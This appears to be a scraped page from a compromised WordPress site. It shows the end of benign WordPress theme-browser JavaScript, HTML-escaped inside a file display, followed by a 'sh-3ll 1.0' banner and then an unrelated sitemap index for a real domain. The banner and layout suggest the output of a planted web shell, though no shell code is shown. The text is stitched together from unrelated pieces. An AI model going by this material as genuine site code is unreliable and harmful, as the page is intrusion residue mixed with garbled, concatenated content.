			wp.customize.utils.parseQueryString( urlParser.search.substr( 1 ) ),
			{
				&#039;return&#039;: window.location.href
			}
		) );
		link.prop( &#039;href&#039;, urlParser.href );
	});

	$( &#039;.broken-themes .delete-theme&#039; ).on( &#039;click&#039;, function() {
		return confirm( _wpThemeSettings.settings.confirmDelete );
	});
});

})( jQuery );

// Align theme browser thickbox.
jQuery( function($) {
	window.tb_position = function() {
		var tbWindow = $(&#039;#TB_window&#039;),
			width = $(window).width(),
			H = $(window).height(),
			W = ( 1040 &lt; width ) ? 1040 : width,
			adminbar_height = 0;

		if ( $(&#039;#wpadminbar&#039;).length ) {
			adminbar_height = parseInt( $(&#039;#wpadminbar&#039;).css(&#039;height&#039;), 10 );
		}

		if ( tbWindow.length &gt;= 1 ) {
			tbWindow.width( W - 50 ).height( H - 45 - adminbar_height );
			$(&#039;#TB_iframeContent&#039;).width( W - 50 ).height( H - 75 - adminbar_height );
			tbWindow.css({&#039;margin-left&#039;: &#039;-&#039; + parseInt( ( ( W - 50 ) / 2 ), 10 ) + &#039;px&#039;});
			if ( typeof document.body.style.maxWidth !== &#039;undefined&#039; ) {
				tbWindow.css({&#039;top&#039;: 20 + adminbar_height + &#039;px&#039;, &#039;margin-top&#039;: &#039;0&#039;});
			}
		}
	};

	$(window).on( &#039;resize&#039;, function(){ tb_position(); });
});
</pre></td></tr><center><br>sh-3ll <font color="green">1.0</font></center></body><?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://pemco.com.vn/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://pemco.com.vn/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://pemco.com.vn/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://pemco.com.vn/wp-sitemap-posts-blocks-1.xml</loc></sitemap><sitemap><loc>https://pemco.com.vn/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://pemco.com.vn/wp-sitemap-posts-featured_item-1.xml</loc></sitemap><sitemap><loc>https://pemco.com.vn/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://pemco.com.vn/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://pemco.com.vn/wp-sitemap-taxonomies-product_tag-1.xml</loc></sitemap><sitemap><loc>https://pemco.com.vn/wp-sitemap-taxonomies-featured_item_category-1.xml</loc></sitemap><sitemap><loc>https://pemco.com.vn/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>